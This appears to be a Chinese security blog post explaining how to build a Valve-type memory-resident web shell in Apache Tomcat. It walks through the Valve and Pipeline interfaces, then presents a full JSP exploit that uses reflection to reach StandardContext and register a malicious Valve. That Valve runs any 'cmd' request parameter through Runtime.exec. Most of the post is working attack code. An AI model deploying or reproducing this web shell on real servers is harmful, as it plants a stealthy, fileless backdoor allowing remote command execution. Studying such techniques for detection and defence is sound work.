731 words
4 minutes
Tomcat内存马:Valve型

前言#

这一块的关键点还在tomcat的管道机制上,前面在基本知识那里已经写过了,就不多赘述了 基本就是一个Context -> Pipeline -> Valve 的层次顺序。 我们来看一下几个接口的源码吧,先看看Valve接口的源码。

package org.apache.catalina;
import java.io.IOException;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;
public interface Valve {
public Valve getNext();
public void setNext(Valve valve);
public void backgroundProcess();
public void invoke(Request request, Response response)
throws IOException, ServletException;
public boolean isAsyncSupported();
}

getNext()指向下一个Valve,我们能够看出来Valve并不是我们想象的那样,是存在Pipline的一个数组元素,而是一个类似于链表的机制。invoke 方法这里是具体操作的实现方法,我们的恶意代码后面就是插在这里的,我们再看一下Pipline接口的源码。

public interface Pipeline extends Contained {
public void setBasic(Valve valve);
public void addValve(Valve valve);
public Valve[] getValves();
public void removeValve(Valve valve);
public Valve getFirst();
public boolean isAsyncSupported();
public void findNonAsyncValves(Set<String> result);
}

能够看出这里提供了很多关于Vavle操作的方法,我们后面重点关注一下addValve()这个方法,毕竟我们还得靠它来把恶意的Valve给绑到Pipeline上。

流程分析#

因为这个管道机制是发生在处理请求的时候嘛,我们直接在Servlet随便加个断点往前回溯即可跟踪流程,这里看一下调用栈,跟到第一个invoke调用前地方。 该部分代码如下,从当前管道的第一个invoke开始链式调用,如果当前的valve已经是当前管道的最后一个valve则调用下一层管道的第一个valve循环往复,直到最后一层管道的最后一个valve被调用,下面随便附上几张图。 到这一步,我们的构造思路就已经非常显然了,只要随便把我们的恶意valve插到以上的任意一个管道里面即可。

Exp编写#

恶意Valve#

class ValveShell extends ValveBase{
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
System.out.println("111");
try {
Runtime.getRuntime().exec(request.getParameter("cmd"));
} catch (Exception e) {
}
}
}

获取Pipeline对象#

和前文尽量保持思路一致吧,只要能获得到StandardContext就能获得到Pipeline,所以怎么都好说。

//获取ApplicationContextFacade类
ServletContext servletContext = request.getSession().getServletContext();
//反射获取ApplicationContextFacade类属性context为ApplicationContext类
Field appContextField = servletContext.getClass().getDeclaredField("context");
appContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appContextField.get(servletContext);
//反射获取ApplicationContext类属性context为StandardContext类
Field standardContextField = applicationContext.getClass().getDeclaredField("context");
standardContextField.setAccessible(true);
StandardContext standardContext = (StandardContext) standardContextField.get(applicationContext);
Pipeline pipeline = standardContext.getPipeline();

添加进Pipline#

Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);

完整Exp#

<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.Pipeline" %>
<%@ page import="org.apache.catalina.valves.ValveBase" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();
Pipeline pipeline = standardContext.getPipeline();
%>
<%!
class Shell_Valve extends ValveBase {
@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
String cmd = request.getParameter("cmd");
if (cmd !=null){
try{
Runtime.getRuntime().exec(cmd);
}catch (IOException e){
e.printStackTrace();
}catch (NullPointerException n){
n.printStackTrace();
}
}
}
}
%>
<%
Shell_Valve shell_valve = new Shell_Valve();
pipeline.addValve(shell_valve);
%>

运行结果如下

Tomcat内存马:Valve型
https://f4miti0n.github.io/posts/valve型/
Author
F4miti0n
Published at
2023-08-19
License
CC BY-NC-SA 4.0